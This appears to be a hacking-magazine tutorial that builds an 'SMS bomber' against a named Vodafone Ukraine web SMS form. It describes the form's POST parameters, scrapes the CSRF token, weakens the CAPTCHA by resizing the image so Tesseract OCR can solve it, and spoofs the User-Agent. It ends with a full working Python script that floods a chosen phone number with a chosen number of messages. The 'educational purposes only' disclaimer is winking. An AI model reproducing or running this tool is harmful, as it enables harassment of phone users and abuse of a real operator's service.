warning
All information is provided for informational purposes only. Neither the editorial team nor the author is responsible for any harm that may result from the materials in this article.
Overview of Vodafone’s Online SMS Service
Our subject today, the http://
portal, used to belong to MTS Ukraine. The company was later acquired by Vodafone. The site also offers an SMS sending form.
It’s protected by a four-digit CAPTCHA. Note that the form only allows sending SMS to Vodafone customers with the following number prefixes:
+38050
+38066
+38095
+38099
Now let’s look at the CAPTCHA itself. As you can see, the digits are quite distinguishable. They’re red, but the tops are cropped, and they’re positioned very close to each other.
Now let’s take a closer look at the part of the script that displays the CAPTCHA. If we construct a URL
http://www.mts.ua/?r=site/captcha&v=5981aff096f17&widgetId=messager&width=115&height=42&backColor=0xffffff&foreColor=0xff0000
you’ll see a CAPTCHA 42 pixels tall and 115 pixels wide. Change those values to 242 and 315, and you get a surprising result: the cropped tops of the digits disappear and the spacing between characters increases.
When sending an SMS to the script http://
using the POST method, the following parameters are passed:
-
YII_CSRF_TOKEN
— the CSRF token; read it from the HTML once when preparing the SMS campaign; -
widgetId:
— the default value; it doesn’t change;'messager' -
MessageForm[
— the value indicates the mobile network;network]: '38050' -
MessageForm[
— the phone number to send the SMS to;phone]: '123-45-67' -
MessageForm[
— message encoding; can be changed;encoding]: 'cyrillic' -
MessageForm[
— transliteration (0 = off, 1 = on);is_translit]: '0' -
MessageForm[
— the message text;message]: 'Привет 123' -
MessageForm[
— the CAPTCHA solution.verifyCode]: '4444'
Also, remember to persist cookies—we’ll come back to this later.
Building an SMS Bomber
Let’s try to build an SMS bomber—a script that will send a large number of similar SMS messages through a gateway. We’ll develop it in Python 2.x, and we’ll need the modules requests, pytesseract, Image.
We’ll be developing the script for Windows, which comes with some specifics for installing Tesseract and configuring paths.
First, we obtain the CSRF token:
def get_csrf():
xhtml=get_url("http://www.mts.ua/ru/online-services/send-sms/",1)
xs=xhtml.find("var csrfToken = '")
xl=len("var csrfToken = '")
csrf_=xhtml[xs+xl:xs+xl+40]
return csrf_
The functionality is straightforward—a simple text search. We obtain the CSRF token just once for the entire mailing campaign.
Next, we need to fetch the CAPTCHA and recognize it. We’ll use Tesseract for this. First, install the engine itself and the Python bindings for it. You can find the full function implementation in the script I’ll include at the end of the article.
In this function, we download the CAPTCHA and save it to disk as xcaptcha.
. Then we recognize it using pytesseract and check the length of the recognized string. If the result has four characters, we’re good; if not, we try again until we get the four digits we need.
info
The CAPTCHA solve rate is about 40–60%. Not 100%, of course, but still quite solid.
The helper function get_url
is used to fetch data by URL and manage cookie persistence: whether cookies are saved depends on the value of xparam
.
All that’s left is to send the message. The send_sms function does this: it fills in all the parameters described above for the http://
endpoint and sends a POST request.
Depending on whether the response contains the string
<div class="response-message">
We determine whether the message was sent successfully or not. Note that we supply a fake User-Agent:
headers = {'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36'}

Conclusion
That’s all from me. The full script is in the code block below, and as a final reminder: everything you’ve read today is published for educational purposes only. 😉
[ Full Script Listing
import sys,os,requests,time,subprocess,string
try:
import Image
except ImportError:
from PIL import Image
import pytesseract
pytesseract.pytesseract.tesseract_cmd = 'C:\\Program Files (x86)\\Tesseract-OCR\\tesseract.exe'
tessdata_dir_config = '--tessdata-dir "C:\\Program Files (x86)\\Tesseract-OCR\\tessdata"'
# ----------------------------------------------------------------
headers = {'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36'}
SESSION=""
COOKIES=""
# ----------------------------------------------------------------
def write_to_file(fname,xdata):
f=open(fname,"w")
f.close
f=open(fname,"wb")
f.write(xdata)
f.close
# ----------------------------------------------------------------
def get_url(xURL,xparam):
global headers
global SESSION
global COOKIES
try:
r = SESSION.get(xURL, headers=headers,allow_redirects=True)
if xparam==1:
COOKIES=r.cookies
except:
print "[-] Network errror !"
sys.exit(0)
if r.status_code != 200:
print "[-] Server errror",r.status_code
sys.exit(0)
return r.content
# ----------------------------------------------------------------
def get_captcha():
n_try=1
xlen_=5
while xlen_!=4:
print "[*] Getting CAPTCHA from mts.ua, attempt number",n_try
captcha_=get_url("http://www.mts.ua/?r=site/captcha&v=5981aff096f17&widgetId=messager&width=315&height=242&backColor=0xffffff&foreColor=0xff0000",0)
print "[+] Captcha downloaded"
write_to_file("xcaptcha.png",captcha_)
print "[+] Captcha saved to xcaptcha.png"
d_captcha=pytesseract.image_to_string(Image.open('xcaptcha.png'), lang='eng', config = tessdata_dir_config)
xlen_=len(d_captcha)
try:
z=int(d_captcha)
except Exception as e:
xlen_=5
if xlen_!=4:
print "[-] OCR is no good:",d_captcha
n_try=n_try+1
print "[!] Well done OCR is good:",d_captcha
return d_captcha
# ----------------------------------------------------------------
def get_csrf():
xhtml=get_url("http://www.mts.ua/ru/online-services/send-sms/",1)
xs=xhtml.find("var csrfToken = '")
xl=len("var csrfToken = '")
csrf_=xhtml[xs+xl:xs+xl+40]
return csrf_
# ----------------------------------------------------------------
def send_sms(csrf,captcha,xnet,xnumber,xsms):
global SESSION
global COOKIES
xcaptcha=str(captcha)
xdata={'YII_CSRF_TOKEN':csrf,'widgetId':'messager','MessageForm[network]':xnet,'MessageForm[phone]':xnumber,'MessageForm[encoding]':'cyrilic','MessageForm[is_translit]':'0','MessageForm[message]':xsms,'MessageForm[verifyCode]':xcaptcha}
r = SESSION.post(url="http://www.mts.ua/ru/online-services/send-sms/", headers=headers, data=xdata, cookies=COOKIES)
zhtml=r.content
sms_status=zhtml.find("<div class="response-message">")
if sms_status!=-1:
print "[+] SMS Status: Sent OK"
return 1
else:
print "[-] SMS Status: Sent BAD"
return 0
# ----------------------------------------------------------------
os.system("cls")
print "-=[Vodafone SMS Unobomber v 0.1]=-"
SESSION=requests.Session()
sms_text=raw_input("Enter SMS message: ").decode(sys.stdin.encoding or 'utf-8')
xnetwork=raw_input("Enter mobile network(38050;38066;38095;38099): ")
xnumber=raw_input("Enter mobile number(in format XXX-XX-XX): ")
number_of_sms=int(raw_input("Enter number of SMS's(1..XXX): "))
goods_=0
bads_=0
totals_=number_of_sms
XCSRF=get_csrf()
print "[+] YII_CSRF_TOKEN =",XCSRF
while number_of_sms>0:
CAPTCHA=get_captcha()
print "[*] Sending SMS ..."
xresult=send_sms(XCSRF,CAPTCHA,xnetwork,xnumber,sms_text)
if xresult==1:goods_=goods_+1
if xresult==0:bads_=bads_+1
number_of_sms=number_of_sms-1
time.sleep(2)
print "----------------------------------------------------------"
print "[!] Total:",totals_,"; Goods:",goods_,"; Bads:",bads_
# ----------------------------------------------------------------